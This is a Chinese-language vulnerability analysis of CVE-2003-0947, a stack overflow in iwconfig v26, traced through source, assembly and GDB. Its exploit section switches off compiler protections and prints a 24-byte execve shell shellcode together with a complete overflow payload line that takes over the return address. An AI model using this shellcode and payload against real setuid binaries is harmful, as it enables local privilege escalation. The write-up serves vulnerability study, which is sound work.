iwconfig 是 Linux Wireless Extensions(LWE) 的用户层配置工具之一。LWE 是 Linux 下对无线网络配置的工具,包括内核的支持、用户层配置工具和驱动接口的支持三部分。
目前很多无线网卡都支持 LWE,而且主流的 Linux 发布版本,比如 Redhat Linux、Ubuntu Linux 都已经带了这个配置工具。

–《百度百科》

0x00 漏洞描述

待分析的 iwconfig V.26 存在两个漏洞,分别为 CVE-2003-0947、CVE-2003-0948。此次主要对 CVE-2003-0947 进行分析。

漏洞描述如下:

Buffer overflow in iwconfig, when installed setuid, allows local users to execute arbitrary code via a long OUT environment variable.

  • CVSS 评分:

  • 影响版本:

0x01 CVE-2003-0947 漏洞原理

1、源码

导致漏洞产生的原因是,位于 iwconfig.c 中的 get_info() 函数在调用 strcpy() 时,未检查缓冲区大小,导致栈溢出。如下图所示,蓝色箭头表示从 main() 函数开始至溢出点的函数调用过程,红色箭头表示输入数据的传递过程,左下方绿色区域为结构体 ifreq 定义,右下方为 iw_get_ext() 函数体。

对溢出点 strcpy(ifr.ifr_name, ifname) 进行分析。ifname 为输入参数 argv[1] 传递所得,在整个传参过程中,程序未对其进行任何检查。查看系统对结构体 ifreq 的定义,可见 ifr.ifr_name 的大小为 16 字节。意味着,只要使得输入参数 argv[1] 远大于 16 字节,即可造成缓冲区溢出,使程序崩溃。
注意:在到达溢出点前,需要调用 iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) 函数,由于传入的 ifname 为无意义数据,使得 iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) 返回值为 -1,因此能够进入存在漏洞的分支路径中。

2、汇编

基于汇编代码,对溢出点进一步分析。由下图可知,系统为 get_info() 分配空间 0x70,ifr.ifr_name 所在地址为 rbp-0x50。因此,构造 PoC 为 ‘A’ * 80 + ‘RBP’ + ‘RIP’,即可导致程序崩溃。

3、Debug

基于以上分析,构造 PoC 为 python -c ‘print “A”*88 + “BBBBBB”‘,并通过 GDB 进行验证。
在 < get_info + 82 > 处设置断点,即溢出点前:

此时,RSP=0x7fffffffdf80、RBP=0x7fffffffdff0,ifr.ifr_name 地址为 0x7fffffffdfa0,查看栈空间如下。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx $rsp
0x7fffffffdf80: 0x00000000ffffffff 0x00007fffffffe020
0x7fffffffdf90: 0x00007fffffffe747 0x00000003f7fe74e0
0x7fffffffdfa0: 0x00007fffffffe3d0 0x0000000000401010
0x7fffffffdfb0: 0x00007fffffffe4e0 0x0000000000000000
0x7fffffffdfc0: 0x0000000000000000 0x00007ffff7de4ec3
0x7fffffffdfd0: 0x4141414141414141 0x4141414141414141
0x7fffffffdfe0: 0x00007fffffffe400 0x0000000000401010
0x7fffffffdff0: 0x00007fffffffe3d0 0x000000000040244b
0x7fffffffe000: 0x0000000000000000 0x0000000000000000
0x7fffffffe010: 0x00007fffffffe747 0x0000000300000000

单步调试至触发溢出。

再次查看栈空间,可见 0x7fffffffdff0 处的 RBP 已被覆盖为 0x4141414141414141,0x7fffffffdff8 处的 RIP 被覆盖为 0x0000424242424242。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx $rsp
0x7fffffffdf80: 0x00000000ffffffff 0x00007fffffffe020
0x7fffffffdf90: 0x00007fffffffe747 0x00000003f7fe74e0
0x7fffffffdfa0: 0x4141414141414141 0x4141414141414141
0x7fffffffdfb0: 0x4141414141414141 0x4141414141414141
0x7fffffffdfc0: 0x4141414141414141 0x4141414141414141
0x7fffffffdfd0: 0x4141414141414141 0x4141414141414141
0x7fffffffdfe0: 0x4141414141414141 0x4141414141414141
0x7fffffffdff0: 0x4141414141414141 0x0000424242424242
0x7fffffffe000: 0x0000000000000000 0x0000000000000000
0x7fffffffe010: 0x00007fffffffe747 0x0000000300000000

执行至 get_info() 返回,抛出异常,RIP 已被劫持为 0x424242424242。

0x02 Exploit

本文侧重点在于分析漏洞成因,不过多涉及 Exploit 编写技术。在此选用 ret2text 的方式,仅以验证为目的。

1、实验环境

修改原 Makefile 文件中的 gcc 选项,关闭安全机制:

1
2
# CFLAGS=-O2 -W -Wall -Wstrict-prototypes
CFLAGS=-W -Wall -g -z execstack -fno-stack-protector -no-pie -z norelro
  • -O2 选项会对代码进行优化,在 gcc 7.3.0 下会开启 FORTIFY,因此关闭该选项
  • -z execstack,关闭 NX
  • -fno-stack-protector,关闭 Canary
  • -no-pie,关闭 PIE
  • -z norelro,关闭 RELRO
  • -g, Debug 模式

checksec 结果如下:

1
2
3
4
5
6
7
8
$ checksec iwconfig
[*] '/root/AEG_DataSet/wireless_tools.26/iwconfig'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

使用 shellcode 如下,功能为调用 /bin/bash,共计 24 字节。

1
2
// 调用 /bin/bash (24 byte)
shellcode = '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'

2、GDB

基于以上分析可知,ifr.ifr_name 地址为 0x7fffffffdfa0,与 RIP 之间的偏移量为 88,使用 0x7fffffffdfa0 作为返回地址,构造 Exp 如下:
(python -c “print ‘\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05’ + ‘A’*64 + ‘\xa0\xdf\xff\xff\xff\x7f\x00\x00’”)。
将 Exploit 传入 GDB,并触发漏洞:

执行至 get_info() 返回,成功劫持控制流,并执行 shellcode。

至此,完成了对 CVE-2003-0947 的分析,并在实验环境下编写了 Exploit。

参考文献:

  1. iwconfig V.26下载地址
  2. Vulnerability Details : CVE-2003-0947
  3. SecurityFocus: iwconfig CVE-2003-0947 Local Security Vulnerability
  4. linux程序的常用保护机制
  5. Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow